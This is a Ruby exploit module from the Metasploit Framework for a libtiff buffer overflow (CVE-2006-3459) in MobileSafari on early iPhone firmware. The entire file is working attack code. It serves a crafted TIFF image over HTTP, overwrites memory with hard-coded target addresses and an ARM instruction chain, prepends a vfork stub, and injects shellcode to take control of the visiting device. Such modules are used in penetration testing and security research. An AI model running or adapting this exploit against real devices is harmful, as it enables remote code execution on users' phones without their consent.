##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Osx::Armle::SafariLibTIFF < Msf::Exploit::Remote

  #
  # This module acts as an HTTP server
  #
  include Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'iPhone MobileSafari LibTIFF Buffer Overflow',
      'Description'    => %q{
        This module exploits a buffer overflow in the version of
      libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
      1.1.1 of the Apple iPhone. iPhones which have not had the BSD
      tools installed will need to use a special payload.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>  ['hdm', 'Kevin Finisterre <kf[at]digitalmunition.com>'],
      'Version'        => '$Revision$',
      'References'     => 
        [
            ['CVE', '2006-3459'],
          ['OSVDB', '27723'],
          ['BID', '19283']
        ],
      'Payload'        =>
        {
          'Space'    => 1800,
          'BadChars' => "",
          
          # Multi-threaded applications are not allowed to execve() on OS X
          # This stub injects a vfork/exit in front of the payload
          'Prepend'  =>
            [
              0xe3a0c042, # vfork
              0xef000080, # sc
              0xe3500000, # cmp r0, #0
              0x1a000001, # bne
              0xe3a0c001, # exit(0)
              0xef000080  # sc
            ].pack("V*")
        },
      'Targets'        =>
        [
        
          [ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)', 
            {
              'Platform' => 'osx',
              
              # Scratch space for our shellcode and stack
              'Heap'     => 0x00802000,
              
              # Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
              'Magic'    => 0x300d562c, 
            }
          ],                          
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 01 2006'
      ))
  end

  def on_request_uri(cli, req)
  
  
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Grab reference to the target
    t = target
    
    print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

    # Transmit the compressed response to the client
    send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
    
    # Handle the payload
    handler(cli)
  end

  def generate_tiff(code, targ)

    #
    # This is a TIFF file, we have a huge range of evasion
    # capabilities, but for now, we don't use them.
    #  - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
    #
    
    lolz = 2048
    tiff =  
      "\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
      "\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
      "\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
      "\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
      "\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
      "\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
      "\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
      "\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
      "\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
      [lolz].pack("V") +
      "\x84\x00\x00\x00\x00\x00\x00\x00"

    # Randomize the bajeezus out of our data
    hehe = rand_text(lolz)
    
    # Were going to candy mountain!
    hehe[120, 4] = [targ['Magic']].pack("V")

    # >> add r0, r4, #0x30
    hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")

    # Candy mountain, Charlie!
    # >> mov r1, sp

    # It will be an adventure!
    # >> mov r2, r8
    hehe[ 92, 4] = [ hehe.length ].pack("V")

    # Its a magic leoplurodon!
    # It has spoken!
    # It has shown us the way!
    # >> bl _memcpy

    # Its just over this bridge, Charlie!
    # This magical bridge!
    # >> ldr r3, [r4, #32]
    # >> ldrt r3, [pc], r3, lsr #30
    # >> str r3, [r4, #32]
    # >> ldr r3, [r4, #36]
    # >> ldrt r3, [pc], r3, lsr #30
    # >> str r3, [r4, #36]
    # >> ldr r3, [r4, #40]
    # >> ldrt r3, [pc], r3, lsr #30
    # >> str r3, [r4, #40]
    # >> ldr r3, [r4, #44]
    # >> ldrt r3, [pc], r3, lsr #30
    # >> str r3, [r4, #44]

    # We made it to candy mountain!
    # Go inside Charlie!
    # sub sp, r7, #0x14    
    hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")

    # Goodbye Charlie!
    # ;; targ['Heap'] + 0x48 becomes the stack pointer
    # >> ldmia sp!, {r8, r10}

    # Hey, what the...!
    # >> ldmia sp!, {r4, r5, r6, r7, pc}
    
    # Return back to the copied heap data
    hehe[192, 4] = [  targ['Heap'] + 196  ].pack("V")
    
    # Insert our actual shellcode at heap location + 196
    hehe[196, payload.encoded.length] = payload.encoded
    
    tiff << hehe
  end
  
end
end